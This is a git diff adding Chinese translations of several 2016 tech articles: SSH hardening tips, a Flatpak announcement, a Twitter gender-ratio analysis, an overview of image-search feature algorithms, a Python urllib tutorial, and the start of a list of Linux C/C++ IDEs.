+一旦你已经测试并且验证了你的公钥可以登录,就可以取消密码登录,这样你的远程服务器就不会被暴力密码攻击。如下设置**你的远程服务器**的 `/etc/sshd_config` 文件。 + +``` +PasswordAuthentication no +``` + +然后重启服务器上的 SSH 守护进程。 + +### 5. 设置别名 -- 这很快捷而且很有 B 格 + +你可以为你的远程登录设置常用的别名,来替代登录时输入的命令,例如 `ssh -u username -p 2222 remote.site.with.long-name`。你可以使用 `ssh remote1`。你的客户端机器上的 `~/.ssh/config` 文件可以参照如下设置 + +``` +Host remote1 +HostName remote.site.with.long-name +Port 2222 +User username +PubkeyAuthentication no +``` + +如果你正在使用公钥登录,可以参照这个: + +``` +Host remote1 +HostName remote.site.with.long-name +Port 2222 +User username +IdentityFile ~/.ssh/id_remoteserver +``` + +[OpenSSH 文档][3] 很长而且详细,但是当你掌握了基础的 SSH 使用规则之后,你会发现它非常的有用,而且包含很多可以通过 OpenSSH 来实现的炫酷效果。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/learn/5-ssh-hardening-tips + +作者:[CARLA SCHRODER][a] +译者:[maywanting](https://github.com/maywanting) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linux.com/users/cschroder +[1]: https://www.schneier.com/blog/archives/2005/06/write_down_your.html +[2]: http://www.fail2ban.org/wiki/index.php/Main_Page +[3]: http://www.openssh.com/ diff --git a/published/201608/20160621 Flatpak brings standalone apps to Linux.md b/published/201608/20160621 Flatpak brings standalone apps to Linux.md new file mode 100644 index 0000000000..488c404f45 --- /dev/null +++ b/published/201608/20160621 Flatpak brings standalone apps to Linux.md @@ -0,0 +1,35 @@ +Flatpak 为 Linux 带来了独立应用 +================ + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/flatpak-945x400.jpg) + +[Flatpak][1] 的开发团队[宣布了][2] Flatpak 桌面应用框架已经可用了。 Flatpak (以前在开发时名为 xdg-app)为应用提供了捆绑为一个 Flatpak 软件包的能力,可以让应用在很多 Linux 发行版上都以轻松而一致的体验来安装和运行。将应用程序捆绑成 Flatpak 为其提供了沙盒安全环境,可以将它们与操作系统和彼此之间相互隔离。查看 [Flatpak 网站][3]上的[发布公告][4]来了解关于 Flatpak 框架技术的更多信息。 + +### 在 Fedora 中安装 Flatpak + +如果用户想要运行以 Flatpak 格式打包的应用,在 Fedora 上安装是很容易的,Flatpak 格式已经可以在官方的 Fedora 23 和 Fedora 24 仓库中获得。Flatpak 网站上有[在 Fedora 上安装的完整细节][5],同时也有如何在 Arch、 Debian、Mageia 和 Ubuntu 中安装的方法。[许多的应用][6]已经使用 Flatpak 打包构建了,这包括 LibreOffice、Inkscape 和 GIMP。 + +### 对应用开发者 + +如果你是一个应用开发者,Flatpak 网站也包含许多有关于[使用 Flatpak 打包和分发应用程序][7]的重要资料。这些资料中包括了使用 Flakpak SDK 构建独立的、沙盒化的 Flakpak 应用程序的信息。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/introducing-flatpak/ + +作者:[Ryan Lerch][a] +译者:[zky001](https://github.com/zky001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/introducing-flatpak/ +[1]: http://flatpak.org/ +[2]: http://flatpak.org/press/2016-06-21-flatpak-released.html +[3]: http://flatpak.org/ +[4]: http://flatpak.org/press/2016-06-21-flatpak-released.html +[5]: http://flatpak.org/getting.html +[6]: http://flatpak.org/apps.html +[7]: http://flatpak.org/developer.html + + diff --git a/published/201608/20160623 72% Of The People I Follow On Twitter Are Men.md b/published/201608/20160623 72% Of The People I Follow On Twitter Are Men.md new file mode 100644 index 0000000000..e0cc100587 --- /dev/null +++ b/published/201608/20160623 72% Of The People I Follow On Twitter Are Men.md @@ -0,0 +1,81 @@ +在推特上我关注的人 72% 都是男性 +=============================================== + +![](https://emptysqua.re/blog/gender-of-twitter-users-i-follow/abacus.jpg) + +至少,这是我的估计。推特并不会询问用户的性别,因此我 [写了一个程序][1] ,根据姓名猜测他们的性别。在那些关注我的人当中,性别分布甚至更糟,83% 的是男性。据我所知,其他的还不全都是女性。 + +修正第一个数字并不是什么神秘的事:我注意寻找更多支持我兴趣的女性专家,并且关注他们。 + +另一方面,第二个数字,我只能只能轻微影响一点,但是我也打算改进下。我在推特上的关系网应该代表的是软件行业的多元化未来,而不是不公平的现状。 + +### 我应该怎么估算呢 + +我开始估算我关注的人(推特的上的术语是“朋友”)的性别分布,然后发现这格外的难。[推特的分析][2]给我展示了如下的结果, 关于关注我的人的性别估算: + +![](https://emptysqua.re/blog/gender-of-twitter-users-i-follow/twitter-analytics.png) + +因此,推特的分析将我的关注者分成了三类:男性、女性、未知,并且给我们展示了前面两组的比例。(性别二值化现象在这里并不存在——未知性别的人都集中在组织的推特账号上。)但是我关注的人的性别比例,推特并没有告诉我。 [而这就是可以改进的][3],然后我开始搜索能够帮我估算这个数字的服务,最终发现了 [FollowerWonk][4] 。 + +FollowerWonk 估算我关注的人里面有 71% 都是男性。这个估算准确吗? 为了评估一下,我把 FollowerWonk 和 Twitter 对我关注的人的进行了估算,结果如下: + +**推特分析** + +| | 男性 | 女性 | +| --------- | ---- | ---- | +| **我的关注者** | 83% | 17% | + +**FollowerWonk** + +| | 男性 | 女性 | +| --------- | ---- | ---- | +| **我的关注者** | 81% | 19% | +| **我关注的人** | 72% | 28% | + +FollowerWonk 的分析显示我的关注者中 81% 的人都是男性,很接近推特分析的数字。这个结果还说得过去。如果FollowerWonk 和 Twitter 在我的关注者的性别比例上是一致的,这就表明 FollowerWonk 对我关注的人的性别估算也应当是合理的。使用 FollowerWonk 我就能养成估算这些数字的爱好,并且做出改进。 + +然而,使用 FollowerWonk 检测我关注的人的性别分布一个月需要 30 美元,这真是一个昂贵的爱好。我并不需要FollowerWonk 的所有的功能。我能很经济的解决只需要性别分布的问题吗? + +因为 FollowerWonk 的估算数字看起来比较合理,我试图做一个自己的 FollowerWonk 。使用 Python 和[一些好心的费城人写的 Twitter API 封装类][5](LCTT 译注:Twitter API 封装类是由 Mike Taylor 等一批费城人在 github 上开源的一个项目),我开始下载我所有关注的人和我所有的关注者的简介。我马上就发现推特的速率限制是很低,因此我随机的采样了一部分用户。 + +我写了一个初步的程序,在所有我关注的人的简介中搜索一个和性别相关的代词。例如,如果简介中包含了“she”或者“her”这样的字眼,可能这就属于一个女性,如果简介中包含了“they”或者“them”,那么可能这就是性别未知的。但是大多数简介中不会出现这些代词。对于这种简介,和性别关联最紧密的信息就是姓名了。例如:@gvanrossum 的姓名那一栏是“Guido van Rossum”,第一姓名是“Guido”,这表明 @gvanrossum 是一个女的。当找不到代词的时候,我就使用名字来评估性别估算数字。 + +我的脚本把每个名字的一部分传到性别检测机中去检测性别。[性别检测机][6]也有可预见的失败,比如错误的把“Brooklyn Zen Center”当做一个名叫“Brooklyn”的女性,但是它的评估结果与 FollowerWonk 和 Twitter 的相比也是很合理的: + +| | 非男非女 | 男性 | 女性 | 性别未知的 | +| ----- | ---- | ---- | ---- | ----- | +| 我关注的人 | 1 | 168 | 66 | 173 | +| | 0% | 72% | 28% | | +| 我的关注者 | 0 | 459 | 108 | 433 | +| | 0% | 81% | 19% | | + +(数据基于我所有的408个关注的人和1000个关注者。) + +### 了解你的数字 + +我想你们也能检测你们推特关系网的性别分布。所以我将“Proportional”应用发布到 PythonAnywhere 这个便利的服务上,每月仅需 10 美元: + +> + +这个应用可能会在速率上有限制,超过会失败,因此请温柔的对待它。github 上放了源代码[代码][7] ,也有命令行的工具。 + +是谁代表了你的推特关系网?你还在忍受那些在过去几十年里一直在谈论的软件行业的不公平的男女分布吗?或者你的关系网看起来像软件行业的未来吗?让我们了解我们的数字并且改善他们。 + +-------------------------------------------------------------------------------- + +via: https://emptysqua.re/blog/gender-of-twitter-users-i-follow/ + +作者:[A. Jesse Jiryu Davis][a] +译者:[Flowsnow](https://github.com/Flowsnow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://disqus.com/by/AJesseJiryuDavis/ +[1]: https://www.proporti.onl/ +[2]: https://analytics.twitter.com/ +[3]: http://english.stackexchange.com/questions/14952/that-which-is-measured-improves +[4]: https://moz.com/followerwonk/ +[5]: https://github.com/bear/python-twitter/graphs/contributors +[6]: https://pypi.python.org/pypi/SexMachine/ +[7]: https://github.com/ajdavis/twitter-gender-distribution \ No newline at end of file diff --git a/published/201608/20160623 Advanced Image Processing with Python.md b/published/201608/20160623 Advanced Image Processing with Python.md new file mode 100644 index 0000000000..f668a63924 --- /dev/null +++ b/published/201608/20160623 Advanced Image Processing with Python.md @@ -0,0 +1,113 @@ +Python 高级图像处理 +====================================== + +![](http://www.cuelogic.com/blog/wp-content/uploads/2016/06/Image-Search-Engine.png) + +构建图像搜索引擎并不是一件容易的任务。这里有几个概念、工具、想法和技术需要实现。主要的图像处理概念之一是逆图像查询(RIQ:reverse image querying)。Google、Cloudera、Sumo Logic 和 Birst 等公司在使用逆图像搜索中名列前茅。通过分析图像和使用数据挖掘 RIQ 提供了很好的洞察分析能力。 + +### 顶级公司与逆图像搜索 + +有很多顶级的技术公司使用 RIQ 来取得了不错的收益。例如:在 2014 年 Pinterest 第一次带来了视觉搜索。随后在 2015 年发布了一份白皮书,披露了其架构。逆图像搜索让 Pinterest 获得了时尚品的视觉特征,并可以显示相似产品的推荐。 + +众所周知,谷歌图片使用逆图像搜索允许用户上传一张图片然后搜索相关联的图片。通过使用先进的算法对提交的图片进行分析和数学建模,然后和谷歌数据库中无数的其他图片进行比较得到相似的结果。 + +**这是 OpenCV 2.4.9 特征比较报告一个图表:** + +![](http://www.cuelogic.com/blog/wp-content/uploads/2016/06/search-engine-graph.jpg) + +### 算法 & Python库 + +在我们使用它工作之前,让我们过一遍构建图像搜索引擎的 Python 库的主要元素: + +### 专利算法 + +#### 尺度不变特征变换(SIFT - Scale-Invariant Feature Transform)算法 + +1. 带有非自由功能的一个专利技术,利用图像识别符,以识别相似图像,甚至那些来自不同的角度,大小,深度和尺度的图片,也会被包括在搜索结果中。[点击这里][4]查看 SIFT 详细视频。 +2. SIFT 能与从许多图片中提取了特征的大型数据库正确地匹配搜索条件。 +3. 能匹配不同视角的相同图像和匹配不变特征来获得搜索结果是 SIFT 的另一个特征。了解更多关于尺度不变[关键点][5]。 + +#### 加速鲁棒特征(SURF - Speeded Up Robust Features)算法 + +1. [SURF][1] 也是一种带有非自由功能的专利技术,而且还是一种“加速”的 SIFT 版本。不像 SIFT,SURF 接近于带有箱式过滤器(Box Filter)的高斯拉普拉斯算子(Laplacian of Gaussian)。 +2. SURF 依赖于黑塞矩阵(Hessian Matrix)的位置和尺度。 +3. 在许多应用中,旋转不变性不是一个必要条件,所以不按这个方向查找加速了处理。 +4. SURF 包括了几种特性,提升了每一步的速度。SIFT 在旋转和模糊化方面做的很好,比 SIFT 的速度快三倍。然而它不擅长处理照明和变换视角。 +5. OpenCV 程序功能库提供了 SURF 功能,SURF.compute() 和 SURF.Detect() 可以用来找到描述符和要点。阅读更多关于SURF[点击这里][2] + +### 开源算法 + +#### KAZE 算法 + +1. KAZE是一个开源的非线性尺度空间的二维多尺度和新的特征检测和描述算法。在加性算子分裂(Additive Operator Splitting, AOS)和可变电导扩散中的有效技术被用来建立非线性尺度空间。 +2. 多尺度图像处理的基本原理很简单:创建一个图像的尺度空间,同时用正确的函数过滤原始图像,以提高时间或尺度。 + +#### 加速的 KAZE(AKAZE - Accelerated-KAZE) 算法 + +1. 顾名思义,这是一个更快的图像搜索方式,它会在两幅图像之间找到匹配的关键点。AKAZE 使用二进制描述符和非线性尺度空间来平衡精度和速度。 + +#### 二进制鲁棒性不变尺度可变关键点(BRISK - Binary Robust Invariant Scalable Keypoints) 算法 + +1. BRISK 非常适合关键点的描述、检测与匹配。 +2. 是一种高度自适应的算法,基于尺度空间 FAST 的快速检测器和一个位字符串描述符,有助于显著加快搜索。 +3. 尺度空间关键点检测与关键点描述帮助优化当前相关任务的性能。 + +#### 快速视网膜关键点(FREAK - Fast Retina Keypoint) + +1. 这个新的关键点描述的灵感来自人的眼睛。通过图像强度比能有效地计算一个二进制串级联。FREAK 算法相比 BRISK、SURF 和 SIFT 算法可以更快的计算与内存负载较低。 + +#### 定向 FAST 和旋转 BRIEF(ORB - Oriented FAST and Rotated BRIEF) + +1. 快速的二进制描述符,ORB 具有抗噪声和旋转不变性。ORB 建立在 FAST 关键点检测器和 BRIEF 描述符之上,有成本低、性能好的元素属性。 +2. 除了快速和精确的定位元件,有效地计算定向的 BRIEF,分析变动和面向 BRIEF 特点相关,是另一个 ORB 的特征。 + +### Python库 + +#### OpenCV + +1. OpenCV 支持学术和商业用途,它是一个开源的机器学习和计算机视觉库,OpenCV 便于组织利用和修改代码。 +2. 超过 2500 个优化的算法,包括当前最先进的机器学习和计算机视觉算法服务与各种图像搜索--人脸检测、目标识别、摄像机目标跟踪,从图像数据库中寻找类似图像、眼球运动跟随、风景识别等。 +3. 像谷歌,IBM,雅虎,索尼,本田,微软和英特尔这样的大公司广泛的使用 OpenCV。 +4. OpenCV 拥有 python,java,C,C++ 和 MATLAB 接口,同时支持 Windows,Linux,Mac OS 和 Android。 + +#### Python 图像库 (PIL) + +1. Python 图像库(PIL)支持多种文件格式,同时提供图像处理和图形解决方案。开源的 PIL 为你的 Python解释器添加了图像处理能力。 +2. 标准的图像处理能力包括图像增强、透明和遮罩处理、图像过滤、像素操作等。 + +详细的数据和图表,请看[这里][3]的 OpenCV 2.4.9 特征比较报告。 + +### 构建图像搜索引擎 + +图像搜索引擎可以从预置的图像库选择相似的图像。其中最受欢迎的是谷歌的著名的图像搜索引擎。对于初学者来说,有不同的方法来建立这样的系统。提几个如下: + +1. 采用图像提取、图像描述提取、元数据提取和搜索结果提取,建立图像搜索引擎。 +2. 定义你的图像描述符,数据集索引,定义你的相似性度量,然后进行搜索和排名。 +3. 选择要搜索的图像,选择用于进行搜索的目录,搜索所有图片的目录,创建图片特征索引,评估搜索图片的相同特征,匹配搜索的图片并获得匹配的图片。 + +我们的方法基本上从比较灰度版本的图像,逐渐演变到复杂的特征匹配算法如 SIFT 和 SURF,最后采用的是开源的解决方案 BRISK 。所有这些算法都提供了有效的结果,但在性能和延迟有细微变化。建立在这些算法上的引擎有许多应用,如分析流行统计的图形数据,在图形内容中识别对象,等等。 + +**举例**:一个 IT 公司为其客户建立了一个图像搜索引擎。因此,如果如果搜索一个品牌的标志图像,所有相关的品牌形象也应该显示在搜索结果。所得到的结果也能够被客户用于分析,使他们能够根据地理位置估计品牌知名度。但它还比较年轻,RIQ(反向图像搜索)的潜力尚未被完全挖掘利用。 + +这就结束了我们的文章,使用 Python 构建图像搜索引擎。浏览我们的博客部分来查看最新的编程技术。 + +数据来源:OpenCV 2.4.9 特征比较报告(computer-vision-talks.com) + +(感谢 Ananthu Nair 的指导与补充) + +-------------------------------------------------------------------------------- + +via: http://www.cuelogic.com/blog/advanced-image-processing-with-python/ + +作者:[Snehith Kumbla][a] +译者:[Johnny-Liao](https://github.com/Johnny-Liao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.cuelogic.com/blog/author/snehith-kumbla/ +[1]: http://docs.opencv.org/3.0-beta/doc/py_tutorials/py_feature2d/py_surf_intro/py_surf_intro.html +[2]: http://www.vision.ee.ethz.ch/~surf/eccv06.pdf +[3]: https://docs.google.com/spreadsheets/d/1gYJsy2ROtqvIVvOKretfxQG_0OsaiFvb7uFRDu5P8hw/edit#gid=10 +[4]: https://www.youtube.com/watch?v=NPcMS49V5hg +[5]: https://www.cs.ubc.ca/~lowe/papers/ijcv04.pdf diff --git a/published/201608/20160628 Python 101 An Intro to urllib.md b/published/201608/20160628 Python 101 An Intro to urllib.md new file mode 100644 index 0000000000..2ba5ea85b8 --- /dev/null +++ b/published/201608/20160628 Python 101 An Intro to urllib.md @@ -0,0 +1,192 @@ +Python 学习:urllib 简介 +================================= + +Python 3 的 urllib 模块是一堆可以处理 URL 的组件集合。如果你有 Python 2 的知识,那么你就会注意到 Python 2 中有 urllib 和 urllib2 两个版本的模块。这些现在都是 Python 3 的 urllib 包的一部分。当前版本的 urllib 包括下面几部分: + +- urllib.request +- urllib.error +- urllib.parse +- urllib.rebotparser + +接下来我们会分开讨论除了 urllib.error 以外的几部分。官方文档实际推荐你尝试第三方库, requests,一个高级的 HTTP 客户端接口。然而我依然认为知道如何不依赖第三方库打开 URL 并与之进行交互是很有用的,而且这也可以帮助你理解为什么 requests 包是如此的流行。 + + +### urllib.request + +urllib.request 模块期初是用来打开和获取 URL 的。让我们看看你可以用函数 urlopen 可以做的事: + + +``` +>>> import urllib.request +>>> url = urllib.request.urlopen('https://www.google.com/') +>>> url.geturl() +'https://www.google.com/' +>>> url.info() + +>>> header = url.info() +>>> header.as_string() +('Date: Fri, 24 Jun 2016 18:21:19 GMT\n' + 'Expires: -1\n' + 'Cache-Control: private, max-age=0\n' + 'Content-Type: text/html; charset=ISO-8859-1\n' + 'P3P: CP="This is not a P3P policy! See ' + 'https://www.google.com/support/accounts/answer/151657?hl=en for more info."\n' + 'Server: gws\n' + 'X-XSS-Protection: 1; mode=block\n' + 'X-Frame-Options: SAMEORIGIN\n' + 'Set-Cookie: ' + 'NID=80=tYjmy0JY6flsSVj7DPSSZNOuqdvqKfKHDcHsPIGu3xFv41LvH_Jg6LrUsDgkPrtM2hmZ3j9V76pS4K_cBg7pdwueMQfr0DFzw33SwpGex5qzLkXUvUVPfe9g699Qz4cx9ipcbU3HKwrRYA; ' + 'expires=Sat, 24-Dec-2016 18:21:19 GMT; path=/; domain=.google.com; HttpOnly\n' + 'Alternate-Protocol: 443:quic\n' + 'Alt-Svc: quic=":443"; ma=2592000; v="34,33,32,31,30,29,28,27,26,25"\n' + 'Accept-Ranges: none\n' + 'Vary: Accept-Encoding\n' + 'Connection: close\n' + '\n') +>>> url.getcode() +200 +``` + +在这里我们包含了需要的模块,然后告诉它打开 Google 的 URL。现在我们就有了一个可以交互的 HTTPResponse 对象。我们要做的第一件事是调用方法 geturl ,它会返回根据 URL 获取的资源。这可以让我们发现 URL 是否进行了重定向。 + +接下来调用 info ,它会返回网页的元数据,比如请求头信息。因此,我们可以将结果赋给我们的 headers 变量,然后调用它的方法 as_string 。就可以打印出我们从 Google 收到的头信息。你也可以通过 getcode 得到网页的 HTTP 响应码,当前情况下就是 200,意思是正常工作。 + +如果你想看看网页的 HTML 代码,你可以调用变量 url 的方法 read。我不准备再现这个过程,因为输出结果太长了。 + +请注意 request 对象默认发起 GET 请求,除非你指定了它的 data 参数。如果你给它传递了 data 参数,这样 request 对象将会变成 POST 请求。 + +--- + +### 下载文件 + +urllib 一个典型的应用场景是下载文件。让我们看看几种可以完成这个任务的方法: + +``` +>>> import urllib.request +>>> url = 'http://www.blog.pythonlibrary.org/wp-content/uploads/2012/06/wxDbViewer.zip' +>>> response = urllib.request.urlopen(url) +>>> data = response.read() +>>> with open('/home/mike/Desktop/test.zip', 'wb') as fobj: +... fobj.write(data) +... +``` + +这个例子中我们打开一个保存在我的博客上的 zip 压缩文件的 URL。然后我们读出数据并将数据写到磁盘。一个替代此操作的方案是使用 urlretrieve : + +``` +>>> import urllib.request +>>> url = 'http://www.blog.pythonlibrary.org/wp-content/uploads/2012/06/wxDbViewer.zip' +>>> tmp_file, header = urllib.request.urlretrieve(url) +>>> with open('/home/mike/Desktop/test.zip', 'wb') as fobj: +... with open(tmp_file, 'rb') as tmp: +... fobj.write(tmp.read()) +``` + +方法 urlretrieve 会把网络对象拷贝到本地文件。除非你在使用 urlretrieve 的第二个参数指定你要保存文件的路径,否则这个文件将被拷贝到临时文件夹的随机命名的一个文件中。这个可以为你节省一步操作,并且使代码看起来更简单: + +``` +>>> import urllib.request +>>> url = 'http://www.blog.pythonlibrary.org/wp-content/uploads/2012/06/wxDbViewer.zip' +>>> urllib.request.urlretrieve(url, '/home/mike/Desktop/blog.zip') +('/home/mike/Desktop/blog.zip', + ) +``` + +如你所见,它返回了文件保存的路径,以及从请求得来的头信息。 + +### 设置你的用户代理 + +当你使用浏览器访问网页时,浏览器会告诉网站它是谁。这就是所谓的 user-agent (用户代理)字段。Python 的 urllib 会表示它自己为 Python-urllib/x.y , 其中 x 和 y 是你使用的 Python 的主、次版本号。有一些网站不认识这个用户代理字段,然后网站可能会有奇怪的表现或者根本不能正常工作。辛运的是你可以很轻松的设置你自己的 user-agent 字段。 + +``` +>>> import urllib.request +>>> user_agent = ' Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0' +>>> url = 'http://www.whatsmyua.com/' +>>> headers = {'User-Agent': user_agent} +>>> request = urllib.request.Request(url, headers=headers) +>>> with urllib.request.urlopen(request) as response: +... with open('/home/mdriscoll/Desktop/user_agent.html', 'wb') as out: +... out.write(response.read()) +``` + +这里设置我们的用户代理为 Mozilla FireFox ,然后我们访问 , 它会告诉我们它识别出的我们的 user-agent 字段。之后我们将 url 和我们的头信息传给 urlopen 创建一个 Request 实例。最后我们保存这个结果。如果你打开这个结果,你会看到我们成功的修改了自己的 user-agent 字段。使用这段代码尽情的尝试不同的值来看看它是如何改变的。 + +--- + +### urllib.parse + +urllib.parse 库是用来拆分和组合 URL 字符串的标准接口。比如,你可以使用它来转换一个相对的 URL 为绝对的 URL。让我们试试用它来转换一个包含查询的 URL : + + +``` +>>> from urllib.parse import urlparse +>>> result = urlparse('https://duckduckgo.com/?q=python+stubbing&t=canonical&ia=qa') +>>> result +ParseResult(scheme='https', netloc='duckduckgo.com', path='/', params='', query='q=python+stubbing&t=canonical&ia=qa', fragment='') +>>> result.netloc +'duckduckgo.com' +>>> result.geturl() +'https://duckduckgo.com/?q=python+stubbing&t=canonical&ia=qa' +>>> result.port +None +``` + +这里我们导入了函数 urlparse , 并且把一个包含搜索查询字串的 duckduckgo 的 URL 作为参数传给它。我的查询字串是搜索关于 “python stubbing” 的文章。如你所见,它返回了一个 ParseResult 对象,你可以用这个对象了解更多关于 URL 的信息。举个例子,你可以获取到端口信息(本例中没有端口信息)、网络位置、路径和很多其它东西。 + +### 提交一个 Web 表单 + +这个模块还有一个方法 urlencode 可以向 URL 传输数据。 urllib.parse 的一个典型使用场景是提交 Web 表单。让我们通过搜索引擎 duckduckgo 搜索 Python 来看看这个功能是怎么工作的。 + +``` +>>> import urllib.request +>>> import urllib.parse +>>> data = urllib.parse.urlencode({'q': 'Python'}) +>>> data +'q=Python' +>>> url = 'http://duckduckgo.com/html/' +>>> full_url = url + '?' + data +>>> response = urllib.request.urlopen(full_url) +>>> with open('/home/mike/Desktop/results.html', 'wb') as f: +... f.write(response.read()) +``` + +这个例子很直接。基本上我们是使用 Python 而不是浏览器向 duckduckgo 提交了一个查询。要完成这个我们需要使用 urlencode 构建我们的查询字符串。然后我们把这个字符串和网址拼接成一个完整的正确 URL ,然后使用 urllib.request 提交这个表单。最后我们就获取到了结果然后保存到磁盘上。 + +--- + +### urllib.robotparser + +robotparser 模块是由一个单独的类 RobotFileParser 构成的。这个类会回答诸如一个特定的用户代理是否获取已经设置了 robot.txt 的网站的 URL。 robot.txt 文件会告诉网络爬虫或者机器人当前网站的那些部分是不允许被访问的。让我们看一个简单的例子: + +``` +>>> import urllib.robotparser +>>> robot = urllib.robotparser.RobotFileParser() +>>> robot.set_url('http://arstechnica.com/robots.txt') +None +>>> robot.read() +None +>>> robot.can_fetch('*', 'http://arstechnica.com/') +True +>>> robot.can_fetch('*', 'http://arstechnica.com/cgi-bin/') +False +``` + +这里我们导入了 robot 分析器类,然后创建一个实例。然后我们给它传递一个表明网站 robots.txt 位置的 URL 。接下来我们告诉分析器来读取这个文件。完成后,我们给它了一组不同的 URL 让它找出那些我们可以爬取而那些不能爬取。我们很快就看到我们可以访问主站但是不能访问 cgi-bin 路径。 + +--- + +### 总结一下 + +现在你就有能力使用 Python 的 urllib 包了。在这一节里,我们学习了如何下载文件、提交 Web 表单、修改自己的用户代理以及访问 robots.txt。 urllib 还有一大堆附加功能没有在这里提及,比如网站身份认证。你可能会考虑在使用 urllib 进行身份认证之前切换到 requests 库,因为 requests 已经以更易用和易调试的方式实现了这些功能。我同时也希望提醒你 Python 已经通过 http.cookies 模块支持 Cookies 了,虽然在 request 包里也很好的封装了这个功能。你应该可能考虑同时试试两个来决定那个最适合你。 + +-------------------------------------------------------------------------------- + +via: http://www.blog.pythonlibrary.org/2016/06/28/python-101-an-intro-to-urllib/ + +作者:[Mike][a] +译者:[Ezio](https://github.com/oska874) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.blog.pythonlibrary.org/author/mld/ diff --git a/published/201608/20160630 18 Best IDEs for C+C++ Programming or Source Code Editors on Linux.md b/published/201608/20160630 18 Best IDEs for C+C++ Programming or Source Code Editors on Linux.md new file mode 100644 index 0000000000..9b0b74e62e --- /dev/null +++ b/published/201608/20160630 18 Best IDEs for C+C++ Programming or Source Code Editors on Linux.md @@ -0,0 +1,322 @@ +17 个 Linux 下用于 C/C++ 的最好的 IDE /编辑器 +======================= + +C++,一个众所周知的 C 语言的扩展,是一个优秀的、强大的、通用编程语言,它能够提供现代化的、通用的编程功能,可以用于开发包括视频游戏、搜索引擎、其他计算机软件乃至操作系统等在内的各种大型应用。 + +C++,提供高度可靠性的同时还能够允许操作底层内存来满足更高级的编程要求。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Best-Linux-IDE-Editors.png) + +虽然已经有了一些供程序员用来写 C/C++ 代码的文本编辑器,但 IDE 可以为轻松、完美的编程提供综合的环境和组件。 + +在这篇文章里,我们会向你展示一些可以在 Linux 平台上找到的用于 C++ 或者其他编程语言编程的最好的 IDE。  + +### 1. 用于 C/C++ 开发的 Netbeans + +Netbeans 是一个自由而开源的、流行的跨平台 IDE ,可用于 C/C++ 以及其他编程语言,可以使用由社区开发的插件展现了其完全的扩展性。 + +它包含了用于 C/C++ 开发的项目类型和模版,并且你可以使用静态和动态函数库来构建应用程序。此外,你可以利用现有的代码去创造你的工程,并且也可以通过拖放的方式导入二进制文件来从头构建应用。 + +让我们来看看关于它的特性: + +- C/C++ 编辑器很好的整合了多线程的 [GNU GDB 调试工具][1] +- 支持代码协助 +- 支持 C++11 标准 +- 在里面创建和运行 C/C++ 测试程序 +- 支持 QT 工具包 +- 支持将已编译的应用程序自动打包到 .tar,.zip 等归档文件 +- 支持多个编译器,例如: GNU、Clang/LLVM、Cygwin、Oracle Solaris Studio 和 MinGW +- 支持远程开发 +- 文件导航 +- 源代码检查 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/NetBeans-IDE.png) + +主页: + +### 2. Code::Blocks + +Code::Blocks 是一个免费的、具有高度扩展性的、并且可以配置的跨平台 C++ IDE,它为用户提供了必备而典范的功能。它具有一致的界面和体验。 + +最重要的是,你可以通过用户开发的插件扩展它的功能,一些插件是随同 Code::Blocks 发布的,而另外一些则不是,它们由 Code::Block 开发团队之外的个人用户所编写的。 + +其功能分为编译器、调试器、界面功能,它们包括: + +- 支持多种编译器如 GCC、clang、Borland C++ 5.5、digital mars 等等 +- 非常快,不需要 makefile +- 支持多个目标平台的项目 +- 支持将项目组合起来的工作空间 +- GNU GDB 接口 +- 支持完整的断点功能,包括代码断点,数据断点,断点条件等等 +- 显示本地函数的符号和参数 +- 用户内存导出和语法高亮显示 +- 可自定义、可扩展的界面以及许多其他的的功能,包括那些用户开发的插件添加功能 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/CodeBlocks-IDE-for-Linux.png) + +主页: + +### 3. Eclipse CDT (C/C++ Development Tooling) + +Eclipse 在编程界是一款著名的、开源的、跨平台的 IDE。它给用户提供了一个很棒的界面,并支持拖拽功能以方便界面元素的布置。 + +Eclipse CDT 是一个基于 Eclipse 主平台的项目,它提供了一个完整功能的 C/C++ IDE,并具有以下功能: + +- 支持项目创建 +- 管理各种工具链的构建 +- 标准的 make 构建 +- 源代码导航 +- 一些知识工具,如调用图、类型分级结构,内置浏览器,宏定义浏览器 +- 支持语法高亮的代码编辑器 +- 支持代码折叠和超链接导航 +- 代码重构与代码生成 +- 可视化调试存储器、寄存器的工具 +- 反汇编查看器以及更多功能 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Eclipse-IDE-for-Linux.png) + +主页: + +### 4.CodeLite IDE + +CodeLite 也是一款为 C/C++、JavaScript(Node.js)和 PHP 编程专门设计打造的自由而开源的、跨平台的 IDE。 + +它的一些主要特点包括: + +- 代码补完,提供了两个代码补完引擎 +- 支持多种编译器,包括 GCC、clang/VC++ +- 以代码词汇的方式显示错误 +- 构建选项卡中的错误消息可点击 +- 支持下一代 LLDB 调试器 +- 支持 GDB +- 支持重构 +- 代码导航 +- 使用内置的 SFTP 进行远程开发 +- 源代码控制插件 +- 开发基于 wxWidgets 应用的 RAD(快速应用程序开发)工具,以及更多的特性 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Codelite-IDE.png) + +主页: + +### 5. Bluefish 编辑器 + +Bluefish 不仅仅是一个一般的编辑器,它是一个轻量级的、快捷的编辑器,为程序员提供了如开发网站、编写脚本和软件代码的 IDE 特性。它支持多平台,可以在 Linux、Mac OSX、FreeBSD、OpenBSD、Solaris 和 Windows 上运行,同时支持包括 C/C++ 